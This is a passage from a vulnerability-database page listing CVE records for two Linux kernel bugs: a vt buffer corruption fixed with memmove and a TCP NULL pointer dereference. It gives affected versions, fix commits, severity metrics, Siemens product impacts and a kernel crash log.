https://git.kernel.org/stable/c/994a1e583c0c206c8…
https://git.kernel.org/stable/c/7529cbd8b5f6697b3…
https://git.kernel.org/stable/c/2933b1e4757a0a5c6…
https://git.kernel.org/stable/c/1581dafaf0d34bc9c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < fc7dfe3d123f00e720be80b920da287810a1f37d (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < ff7342090c1e8c5a37015c89822a68b275b46f8a (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < 1ce408f75ccf1e25b3fddef75cca878b55f2ac90 (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < 0190d19d7651c08abc187dac3819c61b726e7e3f (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < 994a1e583c0c206c8ca7d03334a65b79f4d8bc51 (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < 7529cbd8b5f6697b369803fe1533612c039cabda (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < 2933b1e4757a0a5c689cf48d80b1a2a85f237ff1 (git) Affected: 81732c3b2fede049a692e58a7ceabb6d18ffb18c , < 1581dafaf0d34bc9c428a794a22110d7046d186d (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35823",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-17T15:14:05.276566Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-120",
                "description": "CWE-120 Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-07T21:28:05.580Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.458Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fc7dfe3d123f00e720be80b920da287810a1f37d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ff7342090c1e8c5a37015c89822a68b275b46f8a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ce408f75ccf1e25b3fddef75cca878b55f2ac90"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0190d19d7651c08abc187dac3819c61b726e7e3f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/994a1e583c0c206c8ca7d03334a65b79f4d8bc51"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7529cbd8b5f6697b369803fe1533612c039cabda"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2933b1e4757a0a5c689cf48d80b1a2a85f237ff1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1581dafaf0d34bc9c428a794a22110d7046d186d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:12.957Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/tty/vt/vt.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fc7dfe3d123f00e720be80b920da287810a1f37d",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "ff7342090c1e8c5a37015c89822a68b275b46f8a",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "1ce408f75ccf1e25b3fddef75cca878b55f2ac90",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "0190d19d7651c08abc187dac3819c61b726e7e3f",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "994a1e583c0c206c8ca7d03334a65b79f4d8bc51",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "7529cbd8b5f6697b369803fe1533612c039cabda",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "2933b1e4757a0a5c689cf48d80b1a2a85f237ff1",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            },
            {
              "lessThan": "1581dafaf0d34bc9c428a794a22110d7046d186d",
              "status": "affected",
              "version": "81732c3b2fede049a692e58a7ceabb6d18ffb18c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/tty/vt/vt.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvt: fix unicode buffer corruption when deleting characters\n\nThis is the same issue that was fixed for the VGA text buffer in commit\n39cdb68c64d8 (\"vt: fix memory overlapping when deleting chars in the\nbuffer\"). The cure is also the same i.e. replace memcpy() with memmove()\ndue to the overlaping buffers."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:40.928Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fc7dfe3d123f00e720be80b920da287810a1f37d"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff7342090c1e8c5a37015c89822a68b275b46f8a"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ce408f75ccf1e25b3fddef75cca878b55f2ac90"
        },
        {
          "url": "https://git.kernel.org/stable/c/0190d19d7651c08abc187dac3819c61b726e7e3f"
        },
        {
          "url": "https://git.kernel.org/stable/c/994a1e583c0c206c8ca7d03334a65b79f4d8bc51"
        },
        {
          "url": "https://git.kernel.org/stable/c/7529cbd8b5f6697b369803fe1533612c039cabda"
        },
        {
          "url": "https://git.kernel.org/stable/c/2933b1e4757a0a5c689cf48d80b1a2a85f237ff1"
        },
        {
          "url": "https://git.kernel.org/stable/c/1581dafaf0d34bc9c428a794a22110d7046d186d"
        }
      ],
      "title": "vt: fix unicode buffer corruption when deleting characters",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35823",
    "datePublished": "2024-05-17T13:23:25.651Z",
    "dateReserved": "2024-05-17T12:19:12.346Z",
    "dateUpdated": "2026-05-12T11:52:12.957Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47684 (GCVE-0-2024-47684)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

tcp: check skb is non-NULL in tcp_rto_delta_us()

Summary

In the Linux kernel, the following vulnerability has been resolved: tcp: check skb is non-NULL in tcp_rto_delta_us() We have some machines running stock Ubuntu 20.04.6 which is their 5.4.0-174-generic kernel that are running ceph and recently hit a null ptr dereference in tcp_rearm_rto(). Initially hitting it from the TLP path, but then later we also saw it getting hit from the RACK case as well. Here are examples of the oops messages we saw in each of those cases: Jul 26 15:05:02 rx [11061395.780353] BUG: kernel NULL pointer dereference, address: 0000000000000020 Jul 26 15:05:02 rx [11061395.787572] #PF: supervisor read access in kernel mode Jul 26 15:05:02 rx [11061395.792971] #PF: error_code(0x0000) - not-present page Jul 26 15:05:02 rx [11061395.798362] PGD 0 P4D 0 Jul 26 15:05:02 rx [11061395.801164] Oops: 0000 [#1] SMP NOPTI Jul 26 15:05:02 rx [11061395.805091] CPU: 0 PID: 9180 Comm: msgr-worker-1 Tainted: G W 5.4.0-174-generic #193-Ubuntu Jul 26 15:05:02 rx [11061395.814996] Hardware name: Supermicro SMC 2x26 os-gen8 64C NVME-Y 256G/H12SSW-NTR, BIOS 2.5.V1.2U.NVMe.UEFI 05/09/2023 Jul 26 15:05:02 rx [11061395.825952] RIP: 0010:tcp_rearm_rto+0xe4/0x160 Jul 26 15:05:02 rx [11061395.830656] Code: 87 ca 04 00 00 00 5b 41 5c 41 5d 5d c3 c3 49 8b bc 24 40 06 00 00 eb 8d 48 bb cf f7 53 e3 a5 9b c4 20 4c 89 ef e8 0c fe 0e 00 <48> 8b 78 20 48 c1 ef 03 48 89 f8 41 8b bc 24 80 04 00 00 48 f7 e3 Jul 26 15:05:02 rx [11061395.849665] RSP: 0018:ffffb75d40003e08 EFLAGS: 00010246 Jul 26 15:05:02 rx [11061395.855149] RAX: 0000000000000000 RBX: 20c49ba5e353f7cf RCX: 0000000000000000 Jul 26 15:05:02 rx [11061395.862542] RDX: 0000000062177c30 RSI: 000000000000231c RDI: ffff9874ad283a60 Jul 26 15:05:02 rx [11061395.869933] RBP: ffffb75d40003e20 R08: 0000000000000000 R09: ffff987605e20aa8 Jul 26 15:05:02 rx [11061395.877318] R10: ffffb75d40003f00 R11: ffffb75d4460f740 R12: ffff9874ad283900 Jul 26 15:05:02 rx [11061395.884710] R13: ffff9874ad283a60 R14: ffff9874ad283980 R15: ffff9874ad283d30 Jul 26 15:05:02 rx [11061395.892095] FS: 00007f1ef4a2e700(0000) GS:ffff987605e00000(0000) knlGS:0000000000000000 Jul 26 15:05:02 rx [11061395.900438] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 Jul 26 15:05:02 rx [11061395.906435] CR2: 0000000000000020 CR3: 0000003e450ba003 CR4: 0000000000760ef0 Jul 26 15:05:02 rx [11061395.913822] PKRU: 55555554 Jul 26 15:05:02 rx [11061395.916786] Call Trace: Jul 26 15:05:02 rx [11061395.919488] Jul 26 15:05:02 rx [11061395.921765] ? show_regs.cold+0x1a/0x1f Jul 26 15:05:02 rx [11061395.925859] ? __die+0x90/0xd9 Jul 26 15:05:02 rx [11061395.929169] ? no_context+0x196/0x380 Jul 26 15:05:02 rx [11061395.933088] ? ip6_protocol_deliver_rcu+0x4e0/0x4e0 Jul 26 15:05:02 rx [11061395.938216] ? ip6_sublist_rcv_finish+0x3d/0x50 Jul 26 15:05:02 rx [11061395.943000] ? __bad_area_nosemaphore+0x50/0x1a0 Jul 26 15:05:02 rx [11061395.947873] ? bad_area_nosemaphore+0x16/0x20 Jul 26 15:05:02 rx [11061395.952486] ? do_user_addr_fault+0x267/0x450 Jul 26 15:05:02 rx [11061395.957104] ? ipv6_list_rcv+0x112/0x140 Jul 26 15:05:02 rx [11061395.961279] ? __do_page_fault+0x58/0x90 Jul 26 15:05:02 rx [11061395.965458] ? do_page_fault+0x2c/0xe0 Jul 26 15:05:02 rx [11061395.969465] ? page_fault+0x34/0x40 Jul 26 15:05:02 rx [11061395.973217] ? tcp_rearm_rto+0xe4/0x160 Jul 26 15:05:02 rx [11061395.977313] ? tcp_rearm_rto+0xe4/0x160 Jul 26 15:05:02 rx [11061395.981408] tcp_send_loss_probe+0x10b/0x220 Jul 26 15:05:02 rx [11061395.985937] tcp_write_timer_handler+0x1b4/0x240 Jul 26 15:05:02 rx [11061395.990809] tcp_write_timer+0x9e/0xe0 Jul 26 15:05:02 rx [11061395.994814] ? tcp_write_timer_handler+0x240/0x240 Jul 26 15:05:02 rx [11061395.999866] call_timer_fn+0x32/0x130 Jul 26 15:05:02 rx [11061396.003782] __run_timers.part.0+0x180/0x280 Jul 26 15:05:02 rx [11061396.008309] ? recalibrate_cpu_khz+0x10/0x10 Jul 26 15:05:02 rx [11061396.012841] ? native_x2apic_icr_write+0x30/0x30 Jul 26 15:05:02 rx [11061396.017718] ? lapic_next_even ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/ad4f0a14d6856e68f…
https://git.kernel.org/stable/c/16e0387d87fc858e3…
https://git.kernel.org/stable/c/ec31cf42fc4e35bb1…
https://git.kernel.org/stable/c/5c4c03288a4aea705…
https://git.kernel.org/stable/c/96c4983eab2a5da23…
https://git.kernel.org/stable/c/570f7d8c9bf14f041…
https://git.kernel.org/stable/c/81d18c152e3f82bac…
https://git.kernel.org/stable/c/09aea49fbc7e755a9…
https://git.kernel.org/stable/c/c8770db2d54437a5f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < ad4f0a14d6856e68f023fc4e5017cfd881a3dfbc (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < 16e0387d87fc858e34449fdf2b14ed5837f761db (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < ec31cf42fc4e35bb1248ce6eb1de6de9f851ac86 (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < 5c4c03288a4aea705e36aa44119c13d7ee4dce99 (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < 96c4983eab2a5da235f7fff90beaf17b008ba029 (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < 570f7d8c9bf14f041152ba8353d4330ef7575915 (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < 81d18c152e3f82bacadf83bc0a471b2363b9cc18 (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < 09aea49fbc7e755a915c405644f347137cdb62b0 (git) Affected: e1a10ef7fa876f8510aaec36ea5c0cf34baba410 , < c8770db2d54437a5f49417ae7b46f7de23d14db6 (git) Affected: 42a858e036bb26cb559157393b7890cabe70bfc2 (git)
Linux	Linux	Affected: 4.13 Unaffected: 0 , < 4.13 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47684",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:06:54.270421Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:16.209Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:20:50.768Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:10.645Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/tcp.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ad4f0a14d6856e68f023fc4e5017cfd881a3dfbc",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "16e0387d87fc858e34449fdf2b14ed5837f761db",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "ec31cf42fc4e35bb1248ce6eb1de6de9f851ac86",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "5c4c03288a4aea705e36aa44119c13d7ee4dce99",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "96c4983eab2a5da235f7fff90beaf17b008ba029",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "570f7d8c9bf14f041152ba8353d4330ef7575915",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "81d18c152e3f82bacadf83bc0a471b2363b9cc18",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "09aea49fbc7e755a915c405644f347137cdb62b0",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "lessThan": "c8770db2d54437a5f49417ae7b46f7de23d14db6",
              "status": "affected",
              "version": "e1a10ef7fa876f8510aaec36ea5c0cf34baba410",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "42a858e036bb26cb559157393b7890cabe70bfc2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/tcp.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.13"
            },
            {
              "lessThan": "4.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.10.108",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
